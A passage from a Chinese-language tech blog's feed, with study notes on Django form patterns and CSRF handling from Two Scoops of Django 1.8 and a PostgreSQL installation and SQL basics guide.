__init__(self, *args, **kwargs): # Call the original __init__ method before assigning # field overloads super(IceCreamStoreUpdateForm, self).__init__(*args, **kwargs) self.fields["phone"].required = True self.fields["description"].required = True</code></pre><p>一个重要的知识点需要记住！！！Django的表单就是python的类。它们可以作为对象来实现，它们能继承自其他类，也可以当作父类。<br>因此，我们可以这样写我们的两个表单：</p><pre><code># stores/forms.pyfrom django import formsfrom .models import IceCreamStoreclass IceCreamStoreCreateForm(forms.ModelForm): class Meta: model = IceCreamStore fields = ("title", "block_address", )class IceCreamStoreUpdateForm(IceCreamStoreCreateForm): def __init__(self, *args, **kwargs): super(IceCreamStoreUpdateForm, self).__init__(*args, **kwargs) self.fields["phone"].required = True self.fields["description"].required = True class Meta(IceCreamStoreCreateForm.Meta): # show all the fields! fields = ("title", "block_address", "phone", "description", )</code></pre><blockquote><p>警告！！！使用Meta.fields！！不要使用Meta.exclude！！！</p></blockquote><p>最后，我们来写对应的CBVs视图：</p><pre><code># stores/viewsfrom django.views.generic import CreateView, UpdateViewfrom .forms import IceCreamStoreCreateFormfrom .forms import IceCreamStoreUpdateFormfrom .models import IceCreamStoreclass IceCreamCreateView(CreateView): model = IceCreamStore form_class = IceCreamStoreCreateFormclass IceCreamUpdateView(UpdateView): model = IceCreamStore form_class = IceCreamStoreUpdateForm</code></pre><h3 id="12-5-模式五：可复用的搜索mixin视图"><a href="#12-5-模式五：可复用的搜索mixin视图" class="headerlink" title="12.5 模式五：可复用的搜索mixin视图"></a>12.5 模式五：可复用的搜索mixin视图</h3><p>在这个例子中，我们将会了解如何在两个对应不同模型的视图中复用一个搜索表单。<br>假设这两个模型都有一个叫做title的字段，这个例子演示了如何在Flavor模型和IceCreamStore模型中使用单一的CBV视图提供简单的搜索功能。</p><p>我们先给视图创建一个简单的mixin搜索：</p><pre><code># core/views.pyclass TitleSearchMixin(object): def get_queryset(self): # Fetch the queryset from the parent's get_queryset queryset = super(TitleSearchMixin, self).get_queryset() # Get the q GET parameter q = self.request.GET.get("q") if q: # return a filtered queryset return queryset.filter(title__icontains=q) # No q is specified so we return queryset return queryset</code></pre><p>接下来就是让它工作在Flavor和IceCreamUpdateView视图中：</p><pre><code># add to flavors/views.pyfrom django.views.generic import ListViewfrom core.views import TitleSearchMixinfrom .models import Flavorclass FlavorListView(TitleSearchMixin, ListView): model = Flavor# add to stores/views.pyfrom django.views.generic import ListViewfrom core.views import TitleSearchMixinfrom .models import Storeclass IceCreamStoreListView(TitleSearchMixin, ListView): model = Store</code></pre><p>然后给每个ListView定义HTML：</p><pre><code><form action="" method="GET"> <input type="text" name="q" /> <button type="submit">search</button></form><form action="" method="GET"> <input type="text" name="q" /> <button type="submit">search</button></form></code></pre><p>Mixins是复用代码很好的方式，但是在一个类中使用太多的mixins会制造出非常难维护代码。<br>一如既往的保证代码简洁就行</p>]]></content>
<summary type="html">
<h2 id="12-表单通用模式"><a href="#12-表单通用模式" class="headerlink" title="12. 表单通用模式"></a>12. 表单通用模式</h2><p>Django的表单强大、灵活、扩展性强、健全。因此，Django admin 和 CBVs广泛的使用了表单。<br>事实上，所有重大的Django API 框架用ModelForms 或者类似的实现来作为它们校验的一部分。</p>
<p>结合表单、模型、视图让我们用较少的努力做了较多的事。学习曲线是值得的：<br>一旦你学会了使用这些组件流畅的进行工作，你会发现，Django提供了以惊人的速度创造数量惊人的有用且稳定功能的能力</p>
<p>这一章明确讲解了Django最好的部分之一：forms, models, CBVs之间的协同工作。<br>它覆盖了五个通用表单模式。每个Django开发者都应该掌握<br>
</summary>
<category term="Backend" scheme="https://morningchen.com/categories/Backend/"/>
<category term="Django" scheme="https://morningchen.com/categories/Backend/Django/"/>
<category term="Django" scheme="https://morningchen.com/tags/Django/"/>
</entry>
<entry>
<title>Two Scoops of Django 1.8 学习笔记六</title>
<link href="https://morningchen.com/2015/09/25/Two-Scoops-of-Django-1-8-notes-6/"/>
<id>https://morningchen.com/2015/09/25/Two-Scoops-of-Django-1-8-notes-6/</id>
<published>2015-09-25T03:34:13.000Z</published>
<updated>2018-09-27T03:56:47.000Z</updated>
<content type="html"><![CDATA[<h2 id="11-Form-Fundamentals-表单基本原理"><a href="#11-Form-Fundamentals-表单基本原理" class="headerlink" title="11. Form Fundamentals 表单基本原理"></a>11. Form Fundamentals 表单基本原理</h2><p>表单中最重要的事情是校验传入的数据</p><h3 id="11-1-用表单校验传入数据"><a href="#11-1-用表单校验传入数据" class="headerlink" title="11.1 用表单校验传入数据"></a>11.1 用表单校验传入数据</h3><pre><code>import csvimport StringIOfrom django import formsfrom .models import Purchase, Sellerclass PurchaseForm(forms.ModelForm): class Meta: model = Purchase def clean_seller(self): seller = self.cleaned_data["seller"] try: Seller.objects.get(name=seller) except Seller.DoesNotExist: msg = "{0} does not exist in purchase #{1}.".format( seller, self.cleaned_data["purchase_number"] ) raise forms.ValidationError(msg) return sellerdef add_csv_purchases(rows): rows = StringIO.StringIO(rows) records_added = 0 errors = [] # Generate a dict per row, with the first CSV row being the keys. for row in csv.DictReader(rows, delimiter=","): # Bind the row data to the PurchaseForm. form = PurchaseForm(row) # Check to see if the row data is valid. if form.is_valid(): # Row data is valid so save the record. form.save() records_added += 1 else: errors.append(form.errors) return records_added, errors</code></pre><a id="more"></a><h3 id="11-2-在HTML的表单中使用POST方法"><a href="#11-2-在HTML的表单中使用POST方法" class="headerlink" title="11.2 在HTML的表单中使用POST方法"></a>11.2 在HTML的表单中使用POST方法</h3><pre><code><form action="{% raw %}{% url "flavor_add" %}{% endraw %}" method="POST"></code></pre><h3 id="11-3-针对需要修改数据的表单使用CSRF保护"><a href="#11-3-针对需要修改数据的表单使用CSRF保护" class="headerlink" title="11.3 针对需要修改数据的表单使用CSRF保护"></a>11.3 针对需要修改数据的表单使用CSRF保护</h3><pre><code>{% raw %}{% csrf_token %}{% endraw %}</code></pre><h4 id="通过AJAX提交数据"><a href="#通过AJAX提交数据" class="headerlink" title="通过AJAX提交数据"></a>通过AJAX提交数据</h4><p>用AJAX的时候也要用到CSRF，你需要设置叫做X-CSRFToken的HTTP header</p><p>第一步，获得csrftoken的cookie</p><pre><code>// using jQueryfunction getCookie(name) { var cookieValue = null; if (document.cookie && document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { var cookie = jQuery.trim(cookies[i]); // Does this cookie string begin with the name we want? if (cookie.substring(0, name.length + 1) == (name + '=')) { cookieValue = decodeURIComponent(cookie.substring(name.length + 1)); break; } } } return cookieValue;}var csrftoken = getCookie('csrftoken');</code></pre><p>还可以通过 <a href="https://github.com/js-cookie/js-cookie/" target="_blank" rel="noopener">https://github.com/js-cookie/js-cookie/</a> 来代替上面的方法</p><pre><code>var csrftoken = Cookies.get('csrftoken');</code></pre><p>最后在AJAX请求上设置HTTP头</p><pre><code>function csrfSafeMethod(method) { // these HTTP methods do not require CSRF protection return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));}$.ajaxSetup({ beforeSend: function(xhr, settings) { if (!csrfSafeMethod(settings.type) && !this.crossDomain) { xhr.setRequestHeader("X-CSRFToken", csrftoken); } }});</code></pre><h3 id="11-4-了解如何添加Django表单实例属性"><a href="#11-4-了解如何添加Django表单实例属性" class="headerlink" title="11.4 了解如何添加Django表单实例属性"></a>11.4 了解如何添加Django表单实例属性</h3><pre><code>from django import formsfrom .models import Tasterclass TasterForm(forms.ModelForm): class Meta: model = Taster def __init__(self, *args, **kwargs): # set the user as an attribute of the form self.user = kwargs.pop('user') super(TasterForm, self).__init__(*args, **kwargs)</code></pre><p>在设置super()之前，我们把kwargs中的user拿了出来，赋予了self.user，看看view：</p><pre><code>from django.views.generic import UpdateViewfrom braces.views import LoginRequiredMixinfrom .forms import TasterFormfrom .models import Tasterclass TasterUpdateView(LoginRequiredMixin, UpdateView): model = Taster form_class = TasterForm success_url = "/someplace/" def get_form_kwargs(self): """This method is what injects forms with their keyword arguments.""" # grab the current set of form #kwargs kwargs = super(TasterUpdateView, self).get_form_kwargs() # Update the kwargs with the user_id kwargs['user'] = self.request.user return kwargs</code></pre><h3 id="11-5-知道表单校验是如何工作的"><a href="#11-5-知道表单校验是如何工作的" class="headerlink" title="11.5 知道表单校验是如何工作的"></a>11.5 知道表单校验是如何工作的</h3><p>调用form.is_valid()的时候，背后发生了这些事情：</p><ol><li>如果表单绑定了数据，form.is_valid()调用form.full_clean()方法</li><li><p>form.full_clean()通过表单字段进行迭代，并且每个字段都验证自身</p><p> a. 数据写入到字段的时候被强制进入到了Python中,通过to_python()方法或者抛出ValidationError异常</p><p> b. 数据的验证依赖具体的字段规则，包括自定义的校验器。失败抛出ValidationError异常</p><p> c. 如果有任何自定义的clean_<field>()方法存在于表单中，在这个时候他们都会被调用</field></p></li><li><p>form.full_clean()执行form.clean()方法</p></li><li><p>如果他是个ModelForm的实例，form._post_clean()做下面的事情：</p><p> a. 给模型实例设置ModelForm数据，而不管form.is_valid()是否是True或者False</p><p> b. 调用模型的clean()方法，作为参考，通过ORM保存模型实例不调用模型的clean()方法</p></li></ol><h4 id="11-5-1-ModelForm-数据先被存到表单中，再存到模型实例中"><a href="#11-5-1-ModelForm-数据先被存到表单中，再存到模型实例中" class="headerlink" title="11.5.1 ModelForm 数据先被存到表单中，再存到模型实例中"></a>11.5.1 ModelForm 数据先被存到表单中，再存到模型实例中</h4><p>在一个ModelForm中，表单数据的存储分为两步：</p><ol><li>首先，表单数据存在表单实例中</li><li>然后，表单数据存在模型实例中</li></ol><p>只有使用form.save()方法，数据才会被存到模型实例中。我们可以利用这种分离作为一个有用的功能。</p><p>举个例子，也许你需要捕捉表单提交失败的细节，储存满足用户的表单数据以及预期的模型实例变化。<br>一个简洁的方式如下，首先我们创建一个表单失败历史的模型：</p><pre><code># core/models.pyfrom django.db import modelsclass ModelFormFailureHistory(models.Model): form_data = models.TextField() model_data = models.TextField()</code></pre><p>第二步，我们添加个FlavorActionMixin的类</p><pre><code># flavors/views.pyimport jsonfrom django.contrib import messagesfrom django.core import serializersfrom core.models import ModelFormFailureHistoryclass FlavorActionMixin(object): @property def success_msg(self): return NotImplemented def form_valid(self, form): messages.info(self.request, self.success_msg) return super(FlavorActionMixin, self).form_valid(form) def form_invalid(self, form): """Save invalid form and model data for later reference.""" form_data = json.dumps(form.cleaned_data) model_data = serializers.serialize("json", [form.instance])[1:-1] ModelFormFailureHistory.objects.create( form_data=form_data, model_data=model_data ) return super(FlavorActionMixin, self).form_invalid(form)</code></pre><p>如果你还记得，验证不良数据的表单失败后会调用form_invalid()。<br>在这个例子中，干净的表单数据和最后的数据会作为一个ModelFormFailureHistory记录储存在数据库中</p><h3 id="11-6-Form-add-error"><a href="#11-6-Form-add-error" class="headerlink" title="11.6 Form.add_error()"></a>11.6 Form.add_error()</h3><pre><code>from django import formsclass IceCreamReviewForm(forms.Form): # Rest of tester form goes here ... def clean(self): cleaned_data = super(TasterForm, self).clean() flavor = cleaned_data.get("flavor") age = cleaned_data.get("age") if flavor == 'coffee' and age < 3: # Record errors that will be displayed later. msg = u"Coffee Ice Cream is not for Babies." self.add_error('flavor', msg) self.add_error('age', msg) # Always return the full collection of cleaned data. return cleaned_data</code></pre><h4 id="其他有用的表单方法"><a href="#其他有用的表单方法" class="headerlink" title="其他有用的表单方法"></a>其他有用的表单方法</h4><ul><li><a href="https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.errors.as_data" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.errors.as_data</a></li><li><a href="https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.errors.as_json" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.errors.as_json</a></li><li><a href="https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.has_error" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.has_error</a></li><li><a href="https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.non_field_errors" target="_blank" rel="noopener">https://docs.djangoproject.com/en/1.8/ref/forms/api/#django.forms.Form.non_field_errors</a></li></ul>]]></content>
<summary type="html">
<h2 id="11-Form-Fundamentals-表单基本原理"><a href="#11-Form-Fundamentals-表单基本原理" class="headerlink" title="11. Form Fundamentals 表单基本原理"></a>11. Form Fundamentals 表单基本原理</h2><p>表单中最重要的事情是校验传入的数据</p>
<h3 id="11-1-用表单校验传入数据"><a href="#11-1-用表单校验传入数据" class="headerlink" title="11.1 用表单校验传入数据"></a>11.1 用表单校验传入数据</h3><pre><code>import csv
import StringIO
from django import forms
from .models import Purchase, Seller
class PurchaseForm(forms.ModelForm):
class Meta:
model = Purchase
def clean_seller(self):
seller = self.cleaned_data[&quot;seller&quot;]
try:
Seller.objects.get(name=seller)
except Seller.DoesNotExist:
msg = &quot;{0} does not exist in purchase #{1}.&quot;.format(
seller,
self.cleaned_data[&quot;purchase_number&quot;]
)
raise forms.ValidationError(msg)
return seller
def add_csv_purchases(rows):
rows = StringIO.StringIO(rows)
records_added = 0
errors = []
# Generate a dict per row, with the first CSV row being the keys.
for row in csv.DictReader(rows, delimiter=&quot;,&quot;):
# Bind the row data to the PurchaseForm.
form = PurchaseForm(row)
# Check to see if the row data is valid.
if form.is_valid():
# Row data is valid so save the record.
form.save()
records_added += 1
else:
errors.append(form.errors)
return records_added, errors
</code></pre>
</summary>
<category term="Backend" scheme="https://morningchen.com/categories/Backend/"/>
<category term="Django" scheme="https://morningchen.com/categories/Backend/Django/"/>
<category term="Django" scheme="https://morningchen.com/tags/Django/"/>
</entry>
<entry>
<title>Install PostgreSQL on Mac OS</title>
<link href="https://morningchen.com/2015/09/23/Install-PostgreSQL-on-Mac-OS/"/>
<id>https://morningchen.com/2015/09/23/Install-PostgreSQL-on-Mac-OS/</id>
<published>2015-09-23T02:25:15.000Z</published>
<updated>2018-09-27T03:52:28.000Z</updated>
<content type="html"><![CDATA[<h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><pre><code>➜ brew install postgres==> Downloading https://homebrew.bintray.com/bottles/postgresql-9.4.4.yosemite.bottle.tar.######################################################################## 100.0%==> Pouring postgre<kbd>b</kbd>sql-9.4.4.yosemite.bottle.tar.gz==> CaveatsIf builds of PostgreSQL 9 are failing and you have version 8.x installed,you may need to remove the previous version first. See: https://github.com/Homebrew/homebrew/issues/2510To migrate existing data from a previous major version (pre-9.4) of PostgreSQL, see: https://www.postgresql.org/docs/9.4/static/upgrading.htmlTo have launchd start postgresql at login: ln -sfv /usr/local/opt/postgresql/*.plist ~/Library/LaunchAgentsThen to load postgresql now: launchctl load ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plistOr, if you don't want/need launchctl, you can just run: postgres -D /usr/local/var/postgres==> /usr/local/Cellar/postgresql/9.4.4/bin/initdb /usr/local/var/postgres==> Summary🍺 /usr/local/Cellar/postgresql/9.4.4: 3014 files, 40M</code></pre><a id="more"></a><h3 id="创建"><a href="#创建" class="headerlink" title="创建"></a>创建</h3><pre><code>initdb /usr/local/var/postgresln -sfv /usr/local/opt/postgresql/*.plist ~/Library/LaunchAgentslaunchctl load ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist</code></pre><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><pre><code>vi .zshrcexport PATH=$PATH:/Applications/Postgres.app/Contents/Versions/9.4/binalias postgres.server="sudo -u postgres pg_ctl -D /Library/PostgreSQL/9.4/data"</code></pre><h3 id="启动停止服务"><a href="#启动停止服务" class="headerlink" title="启动停止服务"></a>启动停止服务</h3><pre><code>postgres.server startpostgres.server stop</code></pre><h3 id="创建数据库"><a href="#创建数据库" class="headerlink" title="创建数据库"></a>创建数据库</h3><pre><code># 创建默认名为user的数据库createdb# 创建指定名为play的数据库createdb play# 用superuser创建数据库createdb -U postgres databasename</code></pre><h3 id="删除数据库"><a href="#删除数据库" class="headerlink" title="删除数据库"></a>删除数据库</h3><pre><code>dropdb -U postgres databasename</code></pre><h3 id="创建用户赋予权限"><a href="#创建用户赋予权限" class="headerlink" title="创建用户赋予权限"></a>创建用户赋予权限</h3><pre><code>createuser -U postgres usernamepsql database -c "GRANT ALL ON ALL TABLES IN SCHEMA public to user;"psql database -c "GRANT ALL ON ALL SEQUENCES IN SCHEMA public to user;"psql database -c "GRANT ALL ON ALL FUNCTIONS IN SCHEMA public to user;"</code></pre><h3 id="命令行"><a href="#命令行" class="headerlink" title="命令行"></a>命令行</h3><pre><code># user的命令行psql# play的命令行psql play# 查看所有数据库psql -l# 以某个用户连接某个数据库psql -U username -d databasename# 查看版本号select version()PostgreSQL 9.5.1 on x86_64-apple-darwin14.5.0, compiled by Apple LLVM version 7.0.0 (clang-700.1.76), 64-bitselect postgis_full_version()POSTGIS="2.2.1 r14555" GEOS="3.5.0-CAPI-1.9.0 r4084" PROJ="Rel. 4.9.2, 08 September 2015" GDAL="GDAL 1.11.3, released 2015/09/16" LIBXML="2.9.2" LIBJSON="0.11" RASTER</code></pre><p>alter table cities add id serial primary key;</p><h2 id="PostgreSQL-高级特性"><a href="#PostgreSQL-高级特性" class="headerlink" title="PostgreSQL 高级特性"></a>PostgreSQL 高级特性</h2><h3 id="视图"><a href="#视图" class="headerlink" title="视图"></a>视图</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">VIEW</span> myview <span class="keyword">AS</span></span><br><span class="line"> <span class="keyword">SELECT</span> city, temp_lo, temp_hi, prcp, <span class="built_in">date</span>, location</span><br><span class="line"> <span class="keyword">FROM</span> weather, cities</span><br><span class="line"> <span class="keyword">WHERE</span> city = <span class="keyword">name</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> * <span class="keyword">FROM</span> myview;</span><br></pre></td></tr></table></figure><h3 id="外键"><a href="#外键" class="headerlink" title="外键"></a>外键</h3><h3 id="事务"><a href="#事务" class="headerlink" title="事务"></a>事务</h3><p>BEGIN, COMMIT, ROLLBACK TO, SAVEPOINT</p><p>事务是所有数据库系统的一个基本概念。一次事务的要点就是把多个步骤捆绑成一个单一的、 不成功则成仁的操作。其它并发的事务是看不到在这些步骤之间的中间状态的，并且如果发生了一些问题， 导致该事务无法完成，那么所有这些步骤都完全不会影响数据库。</p><p>事务被认为是原子的： 从其它事务的角度来看，它要么是全部发生，要么完全不发生。</p><p>一个事务型数据库保证一个事务所做的所有更新在事务发出完成响应之前都记录到永久的存储中(也就是磁盘)。</p><p>事务型数据库的另外一个重要的性质和原子更新的概念关系密切：当多个事务并发地运行的时候， 每个事务都不应看到其它事务所做的未完成的变化。</p><p>一个打开的事务所做的更新在它完成之前是无法被其它事务看到的，而到提交的时候所有更新同时可见。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> accounts <span class="keyword">SET</span> balance = balance - <span class="number">100.00</span></span><br><span class="line"> <span class="keyword">WHERE</span> <span class="keyword">name</span> = <span class="string">'Alice'</span>;</span><br><span class="line"><span class="comment">-- 等等</span></span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>如果在该事务的过程中，我们决定不做提交(可能是我们刚发现 Alice 的余额是负数)， 那么我们可以发出ROLLBACK而不是COMMIT命令， 那么到目前为止我们的所有更新都会被取消。</p><p>PostgreSQL 实际上把每个 SQL 语句当做在一个事务中执行来看待。 如果你没有发出BEGIN命令，那么每个独立的语句都被一个隐含的BEGIN 和(如果成功的话)COMMIT包围。一组包围在BEGIN和COMMIT 之间的语句有时候被称做事务块。</p><p>我们可以通过使用保存点的方法，在一个事务里更加精细地控制其中的语句。 保存点允许你选择性地抛弃事务中的某些部分，而提交剩下的部分。在用SAVEPOINT 定义了一个保存点后，如果需要，你可以使用ROLLBACK TO回滚到该保存点。 则该事务在定义保存点到 ROLLBACK TO 之间的所有数据库更改都被抛弃， 但是在保存点之前的修改将被保留。</p><h3 id="窗口函数"><a href="#窗口函数" class="headerlink" title="窗口函数"></a>窗口函数</h3><p>OVER<br>聚合函数+over()<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> depname, empno, salary, <span class="keyword">avg</span>(salary) <span class="keyword">OVER</span> (<span class="keyword">PARTITION</span> <span class="keyword">BY</span> depname) <span class="keyword">FROM</span> empsalary;</span><br><span class="line">算出每个部门的平均工资</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> depname, empno, salary, <span class="keyword">rank</span>() <span class="keyword">OVER</span> (<span class="keyword">PARTITION</span> <span class="keyword">BY</span> depname <span class="keyword">ORDER</span> <span class="keyword">BY</span> salary <span class="keyword">DESC</span>, empno) <span class="keyword">FROM</span> empsalary;</span><br><span class="line">rank：每个部门人员的权重，按照over里的方式排序</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> depname, empno, salary, enroll_date, pos</span><br><span class="line"><span class="keyword">FROM</span></span><br><span class="line"> (<span class="keyword">SELECT</span> depname, empno, salary, enroll_date,</span><br><span class="line"> <span class="keyword">rank</span>() <span class="keyword">OVER</span> (<span class="keyword">PARTITION</span> <span class="keyword">BY</span> depname <span class="keyword">ORDER</span> <span class="keyword">BY</span> salary <span class="keyword">DESC</span>, empno) <span class="keyword">AS</span> pos</span><br><span class="line"> <span class="keyword">FROM</span> empsalary</span><br><span class="line"> ) <span class="keyword">AS</span> ss</span><br><span class="line"><span class="keyword">WHERE</span> pos < <span class="number">3</span>;</span><br><span class="line"></span><br><span class="line">子查询：查询rank<3的行</span><br></pre></td></tr></table></figure></p><h3 id="继承"><a href="#继承" class="headerlink" title="继承"></a>继承</h3><p>INHERITS<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> cities (</span><br><span class="line"> <span class="keyword">name</span> <span class="built_in">text</span>,</span><br><span class="line"> population <span class="built_in">real</span>,</span><br><span class="line"> altitude <span class="built_in">int</span> <span class="comment">-- (单位是英尺)</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> capitals (</span><br><span class="line"> state <span class="built_in">char</span>(<span class="number">2</span>)</span><br><span class="line">) INHERITS (cities);</span><br></pre></td></tr></table></figure></p><p>capitals继承了其父表 cities的所有字段,州首府有一个额外的字段 state显示其所处的州</p><h2 id="词法结构"><a href="#词法结构" class="headerlink" title="词法结构"></a>词法结构</h2><h3 id="标识符和关键字"><a href="#标识符和关键字" class="headerlink" title="标识符和关键字"></a>标识符和关键字</h3><p>SQL 标识符和关键字必须以一个字母(a-z 以及带变音符的字母和非拉丁字母)或下划线开头， 随后的字符可以是字母、下划线、数字(0-9)、 美元符号($)</p><h3 id="常量"><a href="#常量" class="headerlink" title="常量"></a>常量</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">FUNCTION</span> empsalary(<span class="built_in">int</span>) <span class="keyword">RETURNS</span> empsalary <span class="keyword">AS</span> $$ <span class="keyword">SELECT</span> * <span class="keyword">FROM</span> empsalary <span class="keyword">WHERE</span> empno = $<span class="number">1</span> $$ <span class="keyword">LANGUAGE</span> <span class="keyword">SQL</span>;</span><br></pre></td></tr></table></figure><h3 id="调用函数"><a href="#调用函数" class="headerlink" title="调用函数"></a>调用函数</h3><h4 id="位置表示法"><a href="#位置表示法" class="headerlink" title="位置表示法"></a>位置表示法</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">CREATE</span> <span class="keyword">FUNCTION</span> concat_lower_or_upper(a <span class="built_in">text</span>, b <span class="built_in">text</span>, uppercase <span class="built_in">boolean</span> <span class="keyword">DEFAULT</span> <span class="literal">false</span>) <span class="keyword">RETURNS</span> <span class="built_in">text</span> <span class="keyword">AS</span> $$ <span class="keyword">SELECT</span> <span class="keyword">CASE</span> <span class="keyword">WHEN</span> $<span class="number">3</span> <span class="keyword">THEN</span> <span class="keyword">UPPER</span>($<span class="number">1</span> || <span class="string">' '</span> || $<span class="number">2</span>) <span class="keyword">ELSE</span> <span class="keyword">LOWER</span>($<span class="number">1</span> || <span class="string">' '</span> || $<span class="number">1</span>) <span class="keyword">END</span>; $$ LANGUAGE SQL IMMUTABLE STRICT;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">select</span> concat_lower_or_upper(<span class="string">'a'</span>, <span class="string">'b'</span>);</span><br><span class="line"> concat_lower_or_upper</span><br><span class="line"><span class="comment">-----------------------</span></span><br><span class="line"> a a</span><br><span class="line">(1 row)</span><br></pre></td></tr></table></figure><h4 id="名称表示法"><a href="#名称表示法" class="headerlink" title="名称表示法"></a>名称表示法</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> concat_lower_or_upper(a := <span class="string">'Hello'</span>, b := <span class="string">'World'</span>, uppercase := <span class="literal">true</span>);</span><br><span class="line"> concat_lower_or_upper</span><br><span class="line"><span class="comment">-----------------------</span></span><br><span class="line"> HELLO WORLD</span><br><span class="line">(1 row)</span><br></pre></td></tr></table></figure><h4 id="混合表示法"><a href="#混合表示法" class="headerlink" title="混合表示法"></a>混合表示法</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> concat_lower_or_upper(<span class="string">'Hello'</span>, <span class="string">'World'</span>, uppercase := <span class="literal">true</span>);</span><br><span class="line"> concat_lower_or_upper</span><br><span class="line"><span class="comment">-----------------------</span></span><br><span class="line"> HELLO WORLD</span><br><span class="line">(1 row)</span><br></pre></td></tr></table></figure><h2 id="数据定义"><a href="#数据定义" class="headerlink" title="数据定义"></a>数据定义</h2><h3 id="缺省值"><a href="#缺省值" class="headerlink" title="缺省值"></a>缺省值</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> products (</span><br><span class="line"> product_no <span class="built_in">integer</span> <span class="keyword">DEFAULT</span> <span class="keyword">nextval</span>(<span class="string">'products_product_no_seq'</span>),</span><br><span class="line"> ...</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>缩写<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> products (</span><br><span class="line"> product_no <span class="built_in">SERIAL</span>,</span><br><span class="line"> ...</span><br><span class="line">);</span><br></pre></td></tr></table></figure></p><h3 id="约束"><a href="#约束" class="headerlink" title="约束"></a>约束</h3><ul><li>检查约束<ul><li>CHECK (price > 0) 字段约束</li><li>CONSTRAINT positive_price CHECK (price > 0) 命名约束</li><li>CHECK (price > discounted_price) 表约束</li><li>CHECK (discounted_price > 0 AND price > discounted_price)</li></ul></li><li>非空约束<ul><li>NOT NULL</li></ul></li><li>唯一约束<ul><li>UNIQUE</li><li>UNIQUE (a, b, c)</li></ul></li><li>主键<ul><li>PRIMARY KEY (与 UNIQUE NOT NULL 等价)</li><li>PRIMARY KEY (a, b, c)</li></ul></li><li>外键<ul><li>REFERENCES products (product_no) 如果缺少字段列表的话，就会引用被引用表的主键</li><li>FOREIGN KEY (b, c) REFERENCES other_table (c1, c2)</li><li>ON DELETE RESTRICT 限制删除：禁止删除被引用的行</li><li>ON DELETE CASCADE 级联删除：在删除一个被引用的行的时候，所有引用它的行也会被自动删除</li><li>SET NULL 删除后的设置为 NULL</li><li>SET DEFAULT 删除后设置为 默认值DEFAULT</li></ul></li><li>排除约束<ul><li>EXCLUDE</li></ul></li></ul><h3 id="修改表"><a href="#修改表" class="headerlink" title="修改表"></a>修改表</h3><ul><li>增加字段<ul><li>ALTER TABLE products ADD COLUMN description text;</li></ul></li><li>删除字段<ul><li>ALTER TABLE products DROP COLUMN description;</li><li>ALTER TABLE products DROP COLUMN description CASCADE;</li></ul></li><li>增加约束<ul><li>ALTER TABLE products ADD CHECK (name <> ‘’);</li><li>ALTER TABLE products ADD CONSTRAINT some_name UNIQUE (product_no);</li><li>ALTER TABLE products ADD 